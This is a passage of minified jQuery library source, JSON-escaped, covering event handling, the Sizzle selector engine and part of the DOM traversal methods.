r,n=((f.event.special[r.origType]||{}).handle||r.handler).apply(p.elem,g),n!==b\u0026\u0026(c.result=n,n===!1\u0026\u0026(c.preventDefault(),c.stopPropagation()))}}return c.result},props:\"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which\".split(\" \"),fixHooks:{},keyHooks:{props:\"char charCode key keyCode\".split(\" \"),filter:function(a,b){a.which==null\u0026\u0026(a.which=b.charCode!=null?b.charCode:b.keyCode);return a}},mouseHooks:{props:\"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement\".split(\" \"),filter:function(a,d){var e,f,g,h=d.button,i=d.fromElement;a.pageX==null\u0026\u0026d.clientX!=null\u0026\u0026(e=a.target.ownerDocument||c,f=e.documentElement,g=e.body,a.pageX=d.clientX+(f\u0026\u0026f.scrollLeft||g\u0026\u0026g.scrollLeft||0)-(f\u0026\u0026f.clientLeft||g\u0026\u0026g.clientLeft||0),a.pageY=d.clientY+(f\u0026\u0026f.scrollTop||g\u0026\u0026g.scrollTop||0)-(f\u0026\u0026f.clientTop||g\u0026\u0026g.clientTop||0)),!a.relatedTarget\u0026\u0026i\u0026\u0026(a.relatedTarget=i===a.target?d.toElement:i),!a.which\u0026\u0026h!==b\u0026\u0026(a.which=h\u00261?1:h\u00262?3:h\u00264?2:0);return a}},fix:function(a){if(a[f.expando])return a;var d,e,g=a,h=f.event.fixHooks[a.type]||{},i=h.props?this.props.concat(h.props):this.props;a=f.Event(g);for(d=i.length;d;)e=i[--d],a[e]=g[e];a.target||(a.target=g.srcElement||c),a.target.nodeType===3\u0026\u0026(a.target=a.target.parentNode),a.metaKey===b\u0026\u0026(a.metaKey=a.ctrlKey);return h.filter?h.filter(a,g):a},special:{ready:{setup:f.bindReady},load:{noBubble:!0},focus:{delegateType:\"focusin\"},blur:{delegateType:\"focusout\"},beforeunload:{setup:function(a,b,c){f.isWindow(this)\u0026\u0026(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b\u0026\u0026(this.onbeforeunload=null)}}},simulate:function(a,b,c,d){var e=f.extend(new f.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?f.event.trigger(e,null,b):f.event.dispatch.call(b,e),e.isDefaultPrevented()\u0026\u0026c.preventDefault()}},f.event.handle=f.event.dispatch,f.removeEvent=c.removeEventListener?function(a,b,c){a.removeEventListener\u0026\u0026a.removeEventListener(b,c,!1)}:function(a,b,c){a.detachEvent\u0026\u0026a.detachEvent(\"on\"+b,c)},f.Event=function(a,b){if(!(this instanceof f.Event))return new f.Event(a,b);a\u0026\u0026a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault\u0026\u0026a.getPreventDefault()?K:J):this.type=a,b\u0026\u0026f.extend(this,b),this.timeStamp=a\u0026\u0026a.timeStamp||f.now(),this[f.expando]=!0},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=K;var a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=K;var a=this.originalEvent;!a||(a.stopPropagation\u0026\u0026a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=K,this.stopPropagation()},isDefaultPrevented:J,isPropagationStopped:J,isImmediatePropagationStopped:J},f.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\"},function(a,b){f.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c=this,d=a.relatedTarget,e=a.handleObj,g=e.selector,h;if(!d||d!==c\u0026\u0026!f.contains(c,d))a.type=e.origType,h=e.handler.apply(this,arguments),a.type=b;return h}}}),f.support.submitBubbles||(f.event.special.submit={setup:function(){if(f.nodeName(this,\"form\"))return!1;f.event.add(this,\"click._submit keypress._submit\",function(a){var c=a.target,d=f.nodeName(c,\"input\")||f.nodeName(c,\"button\")?c.form:b;d\u0026\u0026!d._submit_attached\u0026\u0026(f.event.add(d,\"submit._submit\",function(a){this.parentNode\u0026\u0026!a.isTrigger\u0026\u0026f.event.simulate(\"submit\",this.parentNode,a,!0)}),d._submit_attached=!0)})},teardown:function(){if(f.nodeName(this,\"form\"))return!1;f.event.remove(this,\"._submit\")}}),f.support.changeBubbles||(f.event.special.change={setup:function(){if(z.test(this.nodeName)){if(this.type===\"checkbox\"||this.type===\"radio\")f.event.add(this,\"propertychange._change\",function(a){a.originalEvent.propertyName===\"checked\"\u0026\u0026(this._just_changed=!0)}),f.event.add(this,\"click._change\",function(a){this._just_changed\u0026\u0026!a.isTrigger\u0026\u0026(this._just_changed=!1,f.event.simulate(\"change\",this,a,!0))});return!1}f.event.add(this,\"beforeactivate._change\",function(a){var b=a.target;z.test(b.nodeName)\u0026\u0026!b._change_attached\u0026\u0026(f.event.add(b,\"change._change\",function(a){this.parentNode\u0026\u0026!a.isSimulated\u0026\u0026!a.isTrigger\u0026\u0026f.event.simulate(\"change\",this.parentNode,a,!0)}),b._change_attached=!0)})},handle:function(a){var b=a.target;if(this!==b||a.isSimulated||a.isTrigger||b.type!==\"radio\"\u0026\u0026b.type!==\"checkbox\")return a.handleObj.handler.apply(this,arguments)},teardown:function(){f.event.remove(this,\"._change\");return z.test(this.nodeName)}}),f.support.focusinBubbles||f.each({focus:\"focusin\",blur:\"focusout\"},function(a,b){var d=0,e=function(a){f.event.simulate(b,a.target,f.event.fix(a),!0)};f.event.special[b]={setup:function(){d++===0\u0026\u0026c.addEventListener(a,e,!0)},teardown:function(){--d===0\u0026\u0026c.removeEventListener(a,e,!0)}}}),f.fn.extend({on:function(a,c,d,e,g){var h,i;if(typeof a==\"object\"){typeof c!=\"string\"\u0026\u0026(d=c,c=b);for(i in a)this.on(i,c,d,a[i],g);return this}d==null\u0026\u0026e==null?(e=c,d=c=b):e==null\u0026\u0026(typeof c==\"string\"?(e=d,d=b):(e=d,d=c,c=b));if(e===!1)e=J;else if(!e)return this;g===1\u0026\u0026(h=e,e=function(a){f().off(a);return h.apply(this,arguments)},e.guid=h.guid||(h.guid=f.guid++));return this.each(function(){f.event.add(this,a,e,d,c)})},one:function(a,b,c,d){return this.on.call(this,a,b,c,d,1)},off:function(a,c,d){if(a\u0026\u0026a.preventDefault\u0026\u0026a.handleObj){var e=a.handleObj;f(a.delegateTarget).off(e.namespace?e.type+\".\"+e.namespace:e.type,e.selector,e.handler);return this}if(typeof a==\"object\"){for(var g in a)this.off(g,c,a[g]);return this}if(c===!1||typeof c==\"function\")d=c,c=b;d===!1\u0026\u0026(d=J);return this.each(function(){f.event.remove(this,a,d,c)})},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},live:function(a,b,c){f(this.context).on(a,this.selector,b,c);return this},die:function(a,b){f(this.context).off(a,this.selector||\"**\",b);return this},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return arguments.length==1?this.off(a,\"**\"):this.off(b,a,c)},trigger:function(a,b){return this.each(function(){f.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return f.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||f.guid++,d=0,e=function(c){var e=(f._data(this,\"lastToggle\"+a.guid)||0)%d;f._data(this,\"lastToggle\"+a.guid,e+1),c.preventDefault();return b[e].apply(this,arguments)||!1};e.guid=c;while(d\u003cb.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),f.each(\"blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu\".split(\" \"),function(a,b){f.fn[b]=function(a,c){c==null\u0026\u0026(c=a,a=null);return arguments.length\u003e0?this.on(b,null,a,c):this.trigger(b)},f.attrFn\u0026\u0026(f.attrFn[b]=!0),C.test(b)\u0026\u0026(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)\u0026\u0026(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h\u003ci;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}if(j.nodeType===1){g||(j[d]=c,j.sizset=h);if(typeof b!=\"string\"){if(j===b){k=!0;break}}else if(m.filter(b,[j]).length\u003e0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h\u003ci;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}j.nodeType===1\u0026\u0026!g\u0026\u0026(j[d]=c,j.sizset=h);if(j.nodeName.toLowerCase()===b){k=j;break}j=j[a]}e[h]=k}}}var a=/((?:\\((?:\\([^()]+\\)|[^()]+)+\\)|\\[(?:\\[[^\\[\\]]*\\]|['\"][^'\"]*['\"]|[^\\[\\]'\"]+)+\\]|\\\\.|[^ \u003e+~,(\\[\\\\]+)+|[\u003e+~])(\\s*,\\s*)?((?:.|\\r|\\n)*)/g,d=\"sizcache\"+(Math.random()+\"\").replace(\".\",\"\"),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\\\/g,k=/\\r\\n/g,l=/\\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1\u0026\u0026d.nodeType!==9)return[];if(!b||typeof b!=\"string\")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(\"\"),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length\u003e1\u0026\u0026p.exec(b))if(w.length===2\u0026\u0026o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]\u0026\u0026(b+=w.shift()),j=y(b,j,f)}else{!f\u0026\u0026w.length\u003e1\u0026\u0026d.nodeType===9\u0026\u0026!v\u0026\u0026o.match.ID.test(w[0])\u0026\u0026!o.match.ID.test(w[w.length-1])\u0026\u0026(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1\u0026\u0026(w[0]===\"~\"||w[0]===\"+\")\u0026\u0026d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length\u003e0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q=\"\",r==null\u0026\u0026(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)===\"[object Array]\")if(!u)e.push.apply(e,k);else if(d\u0026\u0026d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]\u0026\u0026(k[t]===!0||k[t].nodeType===1\u0026\u0026m.contains(d,k[t]))\u0026\u0026e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]\u0026\u0026k[t].nodeType===1\u0026\u0026e.push(j[t]);else s(k,e);l\u0026\u0026(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b\u003ca.length;b++)a[b]===a[b-1]\u0026\u0026a.splice(b--,1)}return a},m.matches=function(a,b){return m(a,null,null,b)},m.matchesSelector=function(a,b){return m(b,null,null,[a]).length\u003e0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e\u003cf;e++){h=o.order[e];if(g=o.leftMatch[h].exec(a)){i=g[1],g.splice(1,1);if(i.substr(i.length-1)!==\"\\\\\"){g[1]=(g[1]||\"\").replace(j,\"\"),d=o.find[h](g,b,c);if(d!=null){a=a.replace(o.match[h],\"\");break}}}}d||(d=typeof b.getElementsByTagName!=\"undefined\"?b.getElementsByTagName(\"*\"):[]);return{set:d,expr:a}},m.filter=function(a,c,d,e){var f,g,h,i,j,k,l,n,p,q=a,r=[],s=c,t=c\u0026\u0026c[0]\u0026\u0026m.isXML(c[0]);while(a\u0026\u0026c.length){for(h in o.filter)if((f=o.leftMatch[h].exec(a))!=null\u0026\u0026f[2]){k=o.filter[h],l=f[1],g=!1,f.splice(1,1);if(l.substr(l.length-1)===\"\\\\\")continue;s===r\u0026\u0026(r=[]);if(o.preFilter[h]){f=o.preFilter[h](f,s,d,r,e,t);if(!f)g=i=!0;else if(f===!0)continue}if(f)for(n=0;(j=s[n])!=null;n++)j\u0026\u0026(i=k(j,f,n,s),p=e^i,d\u0026\u0026i!=null?p?g=!0:s[n]=!1:p\u0026\u0026(r.push(j),g=!0));if(i!==b){d||(s=r),a=a.replace(o.match[h],\"\");if(!g)return[];break}}if(a===q)if(g==null)m.error(a);else break;q=a}return s},m.error=function(a){throw new Error(\"Syntax error, unrecognized expression: \"+a)};var n=m.getText=function(a){var b,c,d=a.nodeType,e=\"\";if(d){if(d===1||d===9){if(typeof a.textContent==\"string\")return a.textContent;if(typeof a.innerText==\"string\")return a.innerText.replace(k,\"\");for(a=a.firstChild;a;a=a.nextSibling)e+=n(a)}else if(d===3||d===4)return a.nodeValue}else for(b=0;c=a[b];b++)c.nodeType!==8\u0026\u0026(e+=n(c));return e},o=m.selectors={order:[\"ID\",\"NAME\",\"TAG\"],match:{ID:/#((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,CLASS:/\\.((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,NAME:/\\[name=['\"]*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)['\"]*\\]/,ATTR:/\\[\\s*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)\\s*(?:(\\S?=)\\s*(?:(['\"])(.*?)\\3|(#?(?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)*)|)|)\\s*\\]/,TAG:/^((?:[\\w\\u00c0-\\uFFFF\\*\\-]|\\\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\\(\\s*(even|odd|(?:[+\\-]?\\d+|(?:[+\\-]?\\d*)?n\\s*(?:[+\\-]\\s*\\d+)?))\\s*\\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\\((\\d*)\\))?(?=[^\\-]|$)/,PSEUDO:/:((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)(?:\\((['\"]?)((?:\\([^\\)]+\\)|[^\\(\\)]*)+)\\2\\))?/},leftMatch:{},attrMap:{\"class\":\"className\",\"for\":\"htmlFor\"},attrHandle:{href:function(a){return a.getAttribute(\"href\")},type:function(a){return a.getAttribute(\"type\")}},relative:{\"+\":function(a,b){var c=typeof b==\"string\",d=c\u0026\u0026!l.test(b),e=c\u0026\u0026!d;d\u0026\u0026(b=b.toLowerCase());for(var f=0,g=a.length,h;f\u003cg;f++)if(h=a[f]){while((h=h.previousSibling)\u0026\u0026h.nodeType!==1);a[f]=e||h\u0026\u0026h.nodeName.toLowerCase()===b?h||!1:h===b}e\u0026\u0026m.filter(b,a,!0)},\"\u003e\":function(a,b){var c,d=typeof b==\"string\",e=0,f=a.length;if(d\u0026\u0026!l.test(b)){b=b.toLowerCase();for(;e\u003cf;e++){c=a[e];if(c){var g=c.parentNode;a[e]=g.nodeName.toLowerCase()===b?g:!1}}}else{for(;e\u003cf;e++)c=a[e],c\u0026\u0026(a[e]=d?c.parentNode:c.parentNode===b);d\u0026\u0026m.filter(b,a,!0)}},\"\":function(a,b,c){var d,f=e++,g=x;typeof b==\"string\"\u0026\u0026!l.test(b)\u0026\u0026(b=b.toLowerCase(),d=b,g=w),g(\"parentNode\",b,f,a,d,c)},\"~\":function(a,b,c){var d,f=e++,g=x;typeof b==\"string\"\u0026\u0026!l.test(b)\u0026\u0026(b=b.toLowerCase(),d=b,g=w),g(\"previousSibling\",b,f,a,d,c)}},find:{ID:function(a,b,c){if(typeof b.getElementById!=\"undefined\"\u0026\u0026!c){var d=b.getElementById(a[1]);return d\u0026\u0026d.parentNode?[d]:[]}},NAME:function(a,b){if(typeof b.getElementsByName!=\"undefined\"){var c=[],d=b.getElementsByName(a[1]);for(var e=0,f=d.length;e\u003cf;e++)d[e].getAttribute(\"name\")===a[1]\u0026\u0026c.push(d[e]);return c.length===0?null:c}},TAG:function(a,b){if(typeof b.getElementsByTagName!=\"undefined\")return b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a=\" \"+a[1].replace(j,\"\")+\" \";if(f)return a;for(var g=0,h;(h=b[g])!=null;g++)h\u0026\u0026(e^(h.className\u0026\u0026(\" \"+h.className+\" \").replace(/[\\t\\n\\r]/g,\" \").indexOf(a)\u003e=0)?c||d.push(h):c\u0026\u0026(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,\"\")},TAG:function(a,b){return a[1].replace(j,\"\").toLowerCase()},CHILD:function(a){if(a[1]===\"nth\"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\\+|\\s*/g,\"\");var b=/(-?)(\\d*)(?:n([+\\-]?\\d*))?/.exec(a[2]===\"even\"\u0026\u0026\"2n\"||a[2]===\"odd\"\u0026\u0026\"2n+1\"||!/\\D/.test(a[2])\u0026\u0026\"0n+\"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]\u0026\u0026m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,\"\");!f\u0026\u0026o.attrMap[g]\u0026\u0026(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||\"\").replace(j,\"\"),a[2]===\"~=\"\u0026\u0026(a[4]=\" \"+a[4]+\" \");return a},PSEUDO:function(b,c,d,e,f){if(b[1]===\"not\")if((a.exec(b[3])||\"\").length\u003e1||/^\\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1\u0026\u0026a.type!==\"hidden\"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode\u0026\u0026a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute(\"type\"),c=a.type;return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"text\"===c\u0026\u0026(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"radio\"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"checkbox\"===a.type},file:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"file\"===a.type},password:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"password\"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b===\"input\"||b===\"button\")\u0026\u0026\"submit\"===a.type},image:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"image\"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b===\"input\"||b===\"button\")\u0026\u0026\"reset\"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b===\"input\"\u0026\u0026\"button\"===a.type||b===\"button\"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return b\u003cc[3]-0},gt:function(a,b,c){return b\u003ec[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e===\"contains\")return(a.textContent||a.innerText||n([a])||\"\").indexOf(b[3])\u003e=0;if(e===\"not\"){var g=b[3];for(var h=0,i=g.length;h\u003ci;h++)if(g[h]===a)return!1;return!0}m.error(e)},CHILD:function(a,b){var c,e,f,g,h,i,j,k=b[1],l=a;switch(k){case\"only\":case\"first\":while(l=l.previousSibling)if(l.nodeType===1)return!1;if(k===\"first\")return!0;l=a;case\"last\":while(l=l.nextSibling)if(l.nodeType===1)return!1;return!0;case\"nth\":c=b[2],e=b[3];if(c===1\u0026\u0026e===0)return!0;f=b[0],g=a.parentNode;if(g\u0026\u0026(g[d]!==f||!a.nodeIndex)){i=0;for(l=g.firstChild;l;l=l.nextSibling)l.nodeType===1\u0026\u0026(l.nodeIndex=++i);g[d]=f}j=a.nodeIndex-e;return c===0?j===0:j%c===0\u0026\u0026j/c\u003e=0}},ID:function(a,b){return a.nodeType===1\u0026\u0026a.getAttribute(\"id\")===b},TAG:function(a,b){return b===\"*\"\u0026\u0026a.nodeType===1||!!a.nodeName\u0026\u0026a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(\" \"+(a.className||a.getAttribute(\"class\"))+\" \").indexOf(b)\u003e-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+\"\",f=b[2],g=b[4];return d==null?f===\"!=\":!f\u0026\u0026m.attr?d!=null:f===\"=\"?e===g:f===\"*=\"?e.indexOf(g)\u003e=0:f===\"~=\"?(\" \"+e+\" \").indexOf(g)\u003e=0:g?f===\"!=\"?e!==g:f===\"^=\"?e.indexOf(g)===0:f===\"$=\"?e.substr(e.length-g.length)===g:f===\"|=\"?e===g||e.substr(0,g.length+1)===g+\"-\":!1:e\u0026\u0026d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return\"\\\\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\\[]*\\])(?![^\\(]*\\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\\r|\\n)*?)/.source+o.match[r].source.replace(/\\\\(\\d+)/g,q));var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)===\"[object Array]\")Array.prototype.push.apply(d,a);else if(typeof a.length==\"number\")for(var e=a.length;c\u003ce;c++)d.push(a[c]);else for(;a[c];c++)d.push(a[c]);return d}}var u,v;c.documentElement.compareDocumentPosition?u=function(a,b){if(a===b){h=!0;return 0}if(!a.compareDocumentPosition||!b.compareDocumentPosition)return a.compareDocumentPosition?-1:1;return a.compareDocumentPosition(b)\u00264?-1:1}:(u=function(a,b){if(a===b){h=!0;return 0}if(a.sourceIndex\u0026\u0026b.sourceIndex)return a.sourceIndex-b.sourceIndex;var c,d,e=[],f=[],g=a.parentNode,i=b.parentNode,j=g;if(g===i)return v(a,b);if(!g)return-1;if(!i)return 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)f.unshift(j),j=j.parentNode;c=e.length,d=f.length;for(var k=0;k\u003cc\u0026\u0026k\u003cd;k++)if(e[k]!==f[k])return v(e[k],f[k]);return k===c?v(a,f[k],-1):v(e[k],b,1)},v=function(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}),function(){var a=c.createElement(\"div\"),d=\"script\"+(new Date).getTime(),e=c.documentElement;a.innerHTML=\"\u003ca name='\"+d+\"'/\u003e\",e.insertBefore(a,e.firstChild),c.getElementById(d)\u0026\u0026(o.find.ID=function(a,c,d){if(typeof c.getElementById!=\"undefined\"\u0026\u0026!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!=\"undefined\"\u0026\u0026e.getAttributeNode(\"id\").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!=\"undefined\"\u0026\u0026a.getAttributeNode(\"id\");return a.nodeType===1\u0026\u0026c\u0026\u0026c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement(\"div\");a.appendChild(c.createComment(\"\")),a.getElementsByTagName(\"*\").length\u003e0\u0026\u0026(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]===\"*\"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1\u0026\u0026d.push(c[e]);c=d}return c}),a.innerHTML=\"\u003ca href='#'\u003e\u003c/a\u003e\",a.firstChild\u0026\u0026typeof a.firstChild.getAttribute!=\"undefined\"\u0026\u0026a.firstChild.getAttribute(\"href\")!==\"#\"\u0026\u0026(o.attrHandle.href=function(a){return a.getAttribute(\"href\",2)}),a=null}(),c.querySelectorAll\u0026\u0026function(){var a=m,b=c.createElement(\"div\"),d=\"__sizzle__\";b.innerHTML=\"\u003cp class='TEST'\u003e\u003c/p\u003e\";if(!b.querySelectorAll||b.querySelectorAll(\".TEST\").length!==0){m=function(b,e,f,g){e=e||c;if(!g\u0026\u0026!m.isXML(e)){var h=/^(\\w+$)|^\\.([\\w\\-]+$)|^#([\\w\\-]+$)/.exec(b);if(h\u0026\u0026(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]\u0026\u0026o.find.CLASS\u0026\u0026e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b===\"body\"\u0026\u0026e.body)return s([e.body],f);if(h\u0026\u0026h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1\u0026\u0026e.nodeName.toLowerCase()!==\"object\"){var k=e,l=e.getAttribute(\"id\"),n=l||d,p=e.parentNode,q=/^\\s*[+~]/.test(b);l?n=n.replace(/'/g,\"\\\\$\u0026\"):e.setAttribute(\"id\",n),q\u0026\u0026p\u0026\u0026(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll(\"[id='\"+n+\"'] \"+b),f)}catch(r){}finally{l||k.removeAttribute(\"id\")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement(\"div\"),\"div\"),e=!1;try{b.call(c.documentElement,\"[test!='']:sizzle\")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\\=\\s*([^'\"\\]]*)\\s*\\]/g,\"='$1']\");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)\u0026\u0026!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document\u0026\u0026a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length\u003e0}}}(),function(){var a=c.createElement(\"div\");a.innerHTML=\"\u003cdiv class='test e'\u003e\u003c/div\u003e\u003cdiv class='test'\u003e\u003c/div\u003e\";if(!!a.getElementsByClassName\u0026\u0026a.getElementsByClassName(\"e\").length!==0){a.lastChild.className=\"e\";if(a.getElementsByClassName(\"e\").length===1)return;o.order.splice(1,0,\"CLASS\"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!=\"undefined\"\u0026\u0026!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b\u0026\u0026(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)\u002616)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!==\"HTML\":!1};var y=function(a,b,c){var d,e=[],f=\"\",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,\"\");a=o.relative[a]?a+\"*\":a;for(var h=0,i=g.length;h\u003ci;h++)m(a,g[h],e,c);return m.filter(f,e)};m.attr=f.attr,m.selectors.attrMap={},f.find=m,f.expr=m.selectors,f.expr[\":\"]=f.expr.filters,f.unique=m.uniqueSort,f.text=m.getText,f.isXMLDoc=m.isXML,f.contains=m.contains}();var L=/Until$/,M=/^(?:parents|prevUntil|prevAll)/,N=/,/,O=/^.[^:#\\[\\.,]*$/,P=Array.prototype.slice,Q=f.expr.match.POS,R={children:!0,contents:!0,next:!0,prev:!0};f.fn.extend({find:function(a){var b=this,c,d;if(typeof a!=\"string\")return f(a).filter(function(){for(c=0,d=b.length;c\u003cd;c++)if(f.contains(b[c],this))return!0});var e=this.pushStack(\"\",\"find\",a),g,h,i;for(c=0,d=this.length;c\u003cd;c++){g=e.length,f.find(a,this[c],e);if(c\u003e0)for(h=g;h\u003ce.length;h++)for(i=0;i\u003cg;i++)if(e[i]===e[h]){e.splice(h--,1);break}}return e},has:function(a){var b=f(a);return this.filter(function(){for(var a=0,c=b.length;a\u003cc;a++)if(f.contains(this,b[a]))return!0})},not:function(a){return this.pushStack(T(this,a,!1),\"not\",a)},filter:function(a){return this.pushStack(T(this,a,!0),\"filter\",a)},is:function(a){return!!a\u0026\u0026(typeof a==\"string\"?Q.test(a)?f(a,this.context).index(this[0])\u003e=0:f.filter(a,this).length\u003e0:this.filter(a).length\u003e0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var 